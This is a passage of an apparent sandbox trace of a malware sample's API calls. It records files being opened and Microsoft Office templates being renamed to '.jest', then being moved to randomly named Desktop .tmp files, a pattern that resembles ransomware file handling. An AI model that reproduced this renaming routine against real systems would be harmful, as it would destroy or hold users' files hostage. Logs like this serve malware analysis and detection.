FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx.jest")) returned 1 [0163.630] VarBstrFromR4 (in: fltIn=0x479456a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.28") returned 0x0 [0163.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N6_lyvrz3zHsvk_FgutWXoRL9mFzApxsvvWqzU_VJ3YD4cXwEil8eZum1JrEcNcyf1RIxqL3iHm_n7Rxl--4BCN0PVQuRO3UwCT6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n6_lyvrz3zhsvk_fgutwxorl9mfzapxsvvwqzu_vj3yd4cxweil8ezum1jrecncyf1rixql3ihm_n7rxl--4bcn0pvquro3uwct6.tmp")) returned 0 [0163.632] GetLastError () returned 0x2 [0163.632] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx.jest")) returned 1 [0163.635] VarBstrFromR4 (in: fltIn=0x479456a4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.28") returned 0x0 [0163.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarymergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7 5 TquLd_i69ClGKHvXpdUOoyLU--UFLekku7p5wmisV8VEx-YyDhfnmmo6Hspnr0 AKidusKFU0 0s-fwvujZXP-3bk6Dx4L5s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7 5 tquld_i69clgkhvxpduooylu--uflekku7p5wmisv8vex-yydhfnmmo6hspnr0 akiduskfu0 0s-fwvujzxp-3bk6dx4l5s.tmp")) returned 0 [0163.636] GetLastError () returned 0x2 [0163.637] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx.jest")) returned 1 [0163.641] VarBstrFromR4 (in: fltIn=0x479456a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.3") returned 0x0 [0163.642] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gxzma__T6vE5gncdB9_IPWCsvBn 8vwhRWGD5dCZfmNM5GJgvgmqVLh2sCoz8J4yPCn7oHvME4oX9kuPbHnSxE87TPOnrjojTFYj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gxzma__t6ve5gncdb9_ipwcsvbn 8vwhrwgd5dczfmnm5gjgvgmqvlh2scoz8j4ypcn7ohvme4ox9kupbhnsxe87tponrjojtfyj.tmp")) returned 0 [0163.642] GetLastError () returned 0x2 [0163.642] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx.jest")) returned 1 [0163.646] VarBstrFromR4 (in: fltIn=0x479456a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.3") returned 0x0 [0163.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-v_uqjyUpCcqK46WGEESPYeYyUR6e3ItlMkCBg0Iqf07W-YYmGWUCZ1 _RVrNlRbbKWbbzW-hjGpi_vCVt3xATJ_0TVMA9ksg30u.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-v_uqjyupccqk46wgeespyeyyur6e3itlmkcbg0iqf07w-yymgwucz1 _rvrnlrbbkwbbzw-hjgpi_vcvt3xatj_0tvma9ksg30u.tmp")) returned 0 [0163.648] GetLastError () returned 0x2 [0163.648] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭫ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml.jest")) returned 1 [0163.652] VarBstrFromR4 (in: fltIn=0x479456a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.3") returned 0x0 [0163.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bXiH4AtRtxEKoxujCOeW0xdW8yICwO-F5l8HcYC2siN6I9gadTNq7VVMJwye3qtDeCjUniRJl8iBoM9u x42YDgJgYzKOlrIyzWYM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxih4atrtxekoxujcoew0xdw8yicwo-f5l8hcyc2sin6i9gadtnq7vvmjwye3qtdecjunirjl8ibom9u x42ydgjgyzkolriyzwym.tmp")) returned 0 [0163.653] GetLastError () returned 0x2 [0163.653] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx.jest")) returned 1 [0163.656] VarBstrFromR4 (in: fltIn=0x479456a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.32") returned 0x0 [0163.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wxwfSOeqohWVJF--yCD7E80 5Slxrfyrsf9Di8qogeY1ILcVGjQ6GaiAFVhsQnQ5HbmjgKPSFTZmj52qhXZr8kDvDoDP_6qVsnKNO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wxwfsoeqohwvjf--ycd7e80 5slxrfyrsf9di8qogey1ilcvgjq6gaiafvhsqnq5hbmjgkpsftzmj52qhxzr8kdvdodp_6qvsnkno.tmp")) returned 0 [0163.657] GetLastError () returned 0x2 [0163.657] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx.jest")) returned 1 [0163.660] VarBstrFromR4 (in: fltIn=0x479456a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.32") returned 0x0 [0163.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WOH5yTG7q0IhWR4--p5GM8PXQ_HsCapZmcCBubyvfVsxmbiV2Byg4irtlTIQjM1xb8xmB-K7bHyT_d-9rMTYiQ8mOIKtO5 ah9lpe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woh5ytg7q0ihwr4--p5gm8pxq_hscapzmccbubyvfvsxmbiv2byg4irtltiqjm1xb8xmb-k7bhyt_d-9rmtyiq8moikto5 ah9lpe.tmp")) returned 0 [0163.661] GetLastError () returned 0x2 [0163.661] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.662] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx.jest")) returned 1 [0163.664] VarBstrFromR4 (in: fltIn=0x479456a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.32") returned 0x0 [0163.664] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktienewsletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vJwyhp0pdw6yfZNHYHjYh_qOUbDLHmhi W2-rQ5RihMFpwb8tX30-UjmQHGqwY SX4dPmc7I9F8FYp6peTl6wJnjhWIQRmi1nv5Dg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vjwyhp0pdw6yfznhyhjyh_qoubdlhmhi w2-rq5rihmfpwb8tx30-ujmqhgqwy sx4dpmc7i9f8fyp6petl6wjnjhwiqrmi1nv5dg.tmp")) returned 0 [0163.664] GetLastError () returned 0x2 [0163.665] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx.jest")) returned 1 [0163.667] VarBstrFromR4 (in: fltIn=0x479456a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.32") returned 0x0 [0163.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktieresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vt02rFwuSZdm8PZtMc6j psQI-P_IQfKUv3s_YUk7P2gsi6iLhIKCeXRBj7 PJEIkLup2Liq657QBb4B9ls6zf45ZWkBov3x8h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vt02rfwuszdm8pztmc6j psqi-p_iqfkuv3s_yuk7p2gsi6ilhikcexrbj7 pjeiklup2liq657qbb4b9ls6zf45zwkbov3x8h.tmp")) returned 0 [0163.668] GetLastError () returned 0x2 [0163.669] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.jest")) returned 1 [0163.675] VarBstrFromR4 (in: fltIn=0x479456aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.33") returned 0x0 [0163.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A5afQG7zlf-S5EyKsCD-oDUhWH2NUc0US U9NzciY8AeECu_qSzYUZy d0vuddX uQGVvRcTfxSog2LlURSmui8tRIuW5MieMU44.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a5afqg7zlf-s5eykscd-oduhwh2nuc0us u9nzciy8aeecu_qszyuzy d0vuddx uqgvvrctfxsog2llursmui8triuw5miemu44.tmp")) returned 0 [0163.676] GetLastError () returned 0x2 [0163.676] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.jest")) returned 1 [0163.679] VarBstrFromR4 (in: fltIn=0x479456aa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.33") returned 0x0 [0163.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5tkGjvtBu3eObe_gIspBedBUrh7RtlLONatfLk0rhCGkTQxtPc57kIJOC 0ZY-3ZGxtbiJWqOAekdxe3rVvgebDJ-TqfLEHimpQg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5tkgjvtbu3eobe_gispbedburh7rtllonatflk0rhcgktqxtpc57kijoc 0zy-3zgxtbijwqoaekdxe3rvvgebdj-tqflehimpqg.tmp")) returned 0 [0163.680] GetLastError () returned 0x2 [0163.681] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.jest")) returned 1 [0163.686] VarBstrFromR4 (in: fltIn=0x479456ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.35") returned 0x0 [0163.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LT3SNEkvl_OAY lwOyRotUn_lhslHxwf8dk wTvGtH9SoIpkApGDTk x5jXEgzm8PnTTI XrlYjvgIyvcx0aTgChtkIlIdKHHLPqq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lt3snekvl_oay lwoyrotun_lhslhxwf8dk wtvgth9soipkapgdtk x5jxegzm8pntti xrlyjvgiyvcx0atgchtkilidkhhlpqq.tmp")) returned 0 [0163.687] GetLastError () returned 0x2 [0163.687] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.jest")) returned 1 [0163.690] VarBstrFromR4 (in: fltIn=0x479456ad, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.35") returned 0x0 [0163.732] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rFlEmd0H_SVKHMjvhhTAqWFW7Z7 zD-jQSUIs UQe0OkrGfXRBwWZoXtW42yRgo5QeUW755yIAu9P3x4PS7zQRD_2xXG0QgPdE5L.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rflemd0h_svkhmjvhhtaqwfw7z7 zd-jqsuis uqe0okrgfxrbwwzoxtw42yrgo5qeuw755yiau9p3x4ps7zqrd_2xxg0qgpde5l.tmp")) returned 0 [0163.732] GetLastError () returned 0x2 [0163.733] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭽ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.736] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.jest")) returned 1 [0163.739] VarBstrFromR4 (in: fltIn=0x479456b3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.4") returned 0x0 [0163.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LZ-EmbeSgr1cUUzw63IrFUZjkmS8gz LhZXw2iZhWrEeBI0uZk6 MC2ltTU4-ebYh6titV8pHszFA_bRSQ9MioqgJE3yv9o0FnQw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lz-embesgr1cuuzw63irfuzjkms8gz lhzxw2izhwreebi0uzk6 mc2lttu4-ebyh6titv8phszfa_brsq9mioqgje3yv9o0fnqw.tmp")) returned 0 [0163.741] GetLastError () returned 0x2 [0163.742] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ಣ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.744] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﭱ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.766] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.jest")) returned 1 [0163.768] VarBstrFromR4 (in: fltIn=0x479456b7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.43") returned 0x0 [0163.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XNdRidszjzJpiUU2eQsjWEgcIhR6hctJ7KsAVnjoltxB4JO TyRcot6Xcm87-jr2JO155iSgwCy_NK01nKWv-7N4GS6eI7vbqhNom.tmp" (normalized: "c:\\users\\5p5nrgjn0js 